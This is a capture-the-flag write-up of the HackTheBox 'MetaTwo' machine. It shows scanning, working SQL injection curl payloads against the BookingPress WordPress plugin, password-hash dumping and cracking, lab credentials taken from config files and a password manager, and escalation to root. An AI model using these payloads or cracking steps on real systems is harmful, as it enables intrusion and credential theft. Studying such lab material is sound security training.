Metatwo hackthebox writeup

User flag

nmap -sS -Pn -n -p- --min-rate 5000 -vv -oN allports 10.10.11.186
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

As always in these easy linux machines there is a webpage to exploit but let’s do an in-depth port scan first

nmap -sCV -p21,22,80 --min-rate 5000 -vv -oN targeted 10.10.11.186
21/tcp open  ftp?    syn-ack ttl 63
| fingerprint-strings:
|   GenericLines:
|     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
...80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: MetaPress – Official company site
|_http-generator: WordPress 5.6.2
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: nginx/1.18.0
| http-methods:
|_  Supported Methods: GET HEAD POST

The FTP server is a ProFTPD server, since the version does not appear let’s try to run an old exploit with nmap.

 nmap --script ftp-proftpd-backdoor -p 21 10.10.11.186

PORT   STATE SERVICE
21/tcp open  ftp

Ok, now that we know that it isn’t vulnerable let’s check the webpage. At first, it redirects us to metapress.htb so don’t forget to add it to your /etc/hosts.

The web uses wordpress so the most common path in this situation is to run wpscan.

         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
...

 [!] Title: WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8
  ...
 [!] Title: WordPress 4.7-5.7 - Authenticated Password Protected Pages Exposure

That are the vulnerabilities that I found were the more interesting however we aren’t authenticated yet. So as I always say in this situation, pentest the main functionality! in this case the events page. If you open burpsuite to intercept the request and pay attention you will find that the page is using a plugin called bookingpress, here is an example

GET /wp-content/plugins/bookingpress-appointment-booking/images/data-grid-empty-view-vector.webp HTTP/1.1

If you search for exploits for this plugin you will find that it is vulnerable to a SQL injection as seen here, we also have the curl command that we need to execute so let’s try it out.

curl -i -s 'http://metapress.htb/wp-admin/admin-ajax.php' \
  --data "action=bookingpress_front_get_category_services&_wpnonce=64c0de5bf7&category_id=33&total_service=-7502) UNION SELECT 1,1,1,1,1,1,1,1,database() -- -"
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 05 Dec 2022 16:10:24 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.0.24
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin

[{"bookingpress_service_id":"1","bookingpress_category_id":"1","bookingpress_service_name":"1","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"1","bookingpress_service_duration_unit":"1","bookingpress_service_description":"1","bookingpress_service_position":"1","bookingpress_servicedate_created":"blog","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]%

Ok it works, Next step is to expose some credentials

curl -i -s 'http://metapress.htb/wp-admin/admin-ajax.php' \
  --data "action=bookingpress_front_get_category_services&_wpnonce=64c0de5bf7&category_id=33&total_service=-7502) UNION SELECT 1,1,1,1,1,1,1,1,database() -- -" | tail -n 1 | tr , '\n'
[{"bookingpress_service_id":"1"
"bookingpress_category_id":"1"
"bookingpress_service_name":"1"
"bookingpress_service_price":"$1.00"
"bookingpress_service_duration_val":"1"
"bookingpress_service_duration_unit":"1"
"bookingpress_service_description":"1"
"bookingpress_service_position":"1"
"bookingpress_servicedate_created":"blog"

Ok with this information we know the database is called blog.

curl -i -s 'http://metapress.htb/wp-admin/admin-ajax.php' \
  --data "action=bookingpress_front_get_category_services&_wpnonce=64c0de5bf7&category_id=33&total_service=-7502) UNION SELECT 1,1,1,1,1,1,1,1,TABLE_NAME from INFORMATION_SCHEMA.TABLES -- -" | tail -n 1 | tr , '\n' | grep -i user

"bookingpress_servicedate_created":"USER_PRIVILEGES"
"bookingpress_servicedate_created":"USER_STATISTICS"
"bookingpress_servicedate_created":"user_variables"
"bookingpress_servicedate_created":"wp_users"
"bookingpress_servicedate_created":"wp_usermeta"

Now we know the name of all tables containing the word user. (NOTE: I’m not using the where statement since it doesn’t seem to work however I’m supplying that with the grep command)

curl -i -s 'http://metapress.htb/wp-admin/admin-ajax.php' \
  --data "action=bookingpress_front_get_category_services&_wpnonce=64c0de5bf7&category_id=33&total_service=-7502) UNION SELECT 1,1,1,1,1,1,1,1,COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS -- -" | tail -n 1 | tr , '\n' | grep -i user

"bookingpress_servicedate_created":"USER"
"bookingpress_servicedate_created":"CPU_USER"
"bookingpress_servicedate_created":"user_login"
"bookingpress_servicedate_created":"user_pass"
"bookingpress_servicedate_created":"user_nicename"
"bookingpress_servicedate_created":"user_email"
"bookingpress_servicedate_created":"user_url"
"bookingpress_servicedate_created":"user_registered"
"bookingpress_servicedate_created":"user_activation_key"
"bookingpress_servicedate_created":"user_status"
"bookingpress_servicedate_created":"bookingpress_wpuser_id"
"bookingpress_servicedate_created":"bookingpress_user_login"
"bookingpress_servicedate_created":"bookingpress_user_status"
"bookingpress_servicedate_created":"bookingpress_user_type"
"bookingpress_servicedate_created":"bookingpress_user_firstname"
"bookingpress_servicedate_created":"bookingpress_user_lastname"
"bookingpress_servicedate_created":"bookingpress_user_email"
"bookingpress_servicedate_created":"bookingpress_user_phone"
"bookingpress_servicedate_created":"bookingpress_user_country_phone"
"bookingpress_servicedate_created":"bookingpress_user_created"
"bookingpress_servicedate_created":"user_id"

Ok with this information we should be able to dump the credentials like this

curl -i -s 'http://metapress.htb/wp-admin/admin-ajax.php' \
  --data "action=bookingpress_front_get_category_services&_wpnonce=64c0de5bf7&category_id=33&total_service=-7502) UNION SELECT 1,1,1,1,1,1,user_pass,user_login,1 from blog.wp_users -- -" | tail -n 1 | tr , '\n' | grep -E 'description|position'
"bookingpress_service_description":"$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV."
"bookingpress_service_position":"admin"
"bookingpress_service_description":"$P$B4aNM28N0E.tMy\/JIcnVMZbGcU16Q70"
"bookingpress_service_position":"manager"

Nice, with this we now have the hashed credentials of both accounts so let’s crack them. Also, note these hashes are phppass, you can search for hash types here

hashcat -m 400 hashadmin ~/wordlist/rockyou.txt
...
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 400 (phpass)
Hash.Target......: $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
...

hashcat -m 400 hashmanager ~/wordlist/rockyou.txt
Hashfile 'hashmanager' on line 1 ($P$B4aNM28N0E.tMy\/JIcnVMZbGcU16Q70): Token length exception

As I expected the admin hash “can’t” be cracked and the manager one gave an error, that’s because the character \ is used to escape other characters but we don’t need it now so delete and try again

hashcat -m 400 hashmanager ~/wordlist/rockyou.txt --show
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar

Ok password found, let’s login to the wordpress site to see if we can exploit any of the earlier mentioned vulnerabilities. Well, we can’t use the second exploit since we can’t create a new post but we can exploit the first one because we can upload media files. Honestly, the payload in the wordpress page didn’t work for me however this one did.

With this method, I was able to get the wp-config file which had exciting information

<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
 * Authentication Unique Keys and Salts.
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
 * WordPress Database Table prefix.
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

Now we have the FTP and MySQL password, let’s connect to FTP and see what we can find.

ftp metapress.htb@metapress.htb
Connected to metapress.htb.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x   4 0        metapress.htb     4096 Oct  5 14:12 .
drwxr-xr-x   4 0        metapress.htb     4096 Oct  5 14:12 ..
drwxr-xr-x   5 metapress.htb metapress.htb     4096 Oct  5 14:12 blog
drwxr-xr-x   3 metapress.htb metapress.htb     4096 Oct  5 14:12 mailer
226 Transfer complete
ftp> cd mailer
250 CWD command successful
ftp> ls -la
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x   3 metapress.htb metapress.htb     4096 Oct  5 14:12 .
drwxr-xr-x   4 0        metapress.htb     4096 Oct  5 14:12 ..
drwxr-xr-x   4 metapress.htb metapress.htb     4096 Oct  5 14:12 PHPMailer
-rw-r--r--   1 metapress.htb metapress.htb     1126 Jun 22 18:32 send_email.php

If we retrieve the send_email.php file we will find credentials to the ssh and then we can finally retrieve the user flag.

ssh jnelson@metapress.htb
jnelson@metapress.htb's password:
Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Dec  5 16:57:23 2022 from 10.10.16.69
jnelson@meta2:~$

Root flag

Now in the home directory, we find an interesting hidden directory

jnelson@meta2:~$ ls -la
total 32
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 12:53 .
drwxr-xr-x 3 root    root    4096 Oct  5 15:12 ..
lrwxrwxrwx 1 root    root       9 Jun 26 15:59 .bash_history -> /dev/null
-rw-r--r-- 1 jnelson jnelson  220 Jun 26 15:46 .bash_logout
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26 15:46 .bashrc
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25 12:51 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 12:52 .passpie
-rw-r--r-- 1 jnelson jnelson  807 Jun 26 15:46 .profile
-rw-r----- 1 root    jnelson   33 Dec  5 17:20 user.txt
jnelson@meta2:~$ passpie
╒════════╤═════════╤════════════╤═══════════╕
│ Name   │ Login   │ Password   │ Comment   │
╞════════╪═════════╪════════════╪═══════════╡
│ ssh    │ jnelson │ ********   │           │
├────────┼─────────┼────────────┼───────────┤
│ ssh    │ root    │ ********   │           │
╘════════╧═════════╧════════════╧═══════════╛

We see the passpie directory, passpie is a terminal password manager, let’s check the content of the directory.

jnelson@meta2:~$ cd .passpie/
jnelson@meta2:~/.passpie$ ls -la
total 24
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 12:52 .
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 12:53 ..
-r-xr-x--- 1 jnelson jnelson    3 Jun 26 13:57 .config
-r-xr-x--- 1 jnelson jnelson 5243 Jun 26 13:58 .keys
dr-xr-x--- 2 jnelson jnelson 4096 Oct 25 12:52 ssh
jnelson@meta2:~/.passpie$ cat .keys
...

In the .keys file, we find a couple of pgp keys, Honestly, at this point I had no clue how to get the passphrase so I decided to decrypt both pgp keys.

gpg2john gpg

File gpg
Error: No hash was generated for gpg, ensure that the input file contains a single private key only.
[dasor@archlinux ~/htb/metatwo]$ gpg2john gpg2

File gpg2
Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <passpie@local>::gpg2

The firts one gives an error so I tried the second one.

john -w:/home/dasor/wordlist/rockyou.txt hash

Passpie:blink182:::Passpie (Auto-generated by Passpie) <passpie@local>::gpg2

1 password hash cracked, 0 left

Ok, the last step then, let’s get the root password

jnelson@meta2:~/.passpie$ passpie export ~/pass
Passphrase:
jnelson@meta2:~/.passpie$ cd
jnelson@meta2:~$ cat pass
credentials:
- comment: ''
  fullname: root@ssh
  login: root
  modified: 2022-06-26 08:58:15.621572
  name: ssh
  password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
  fullname: jnelson@ssh
  login: jnelson
  modified: 2022-06-26 08:58:15.514422
  name: ssh
  password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0

jnelson@meta2:~$ su
Password:
root@meta2:/home/jnelson# whoami
root
root@meta2:/home/jnelson#

That’s all, thank you for reading.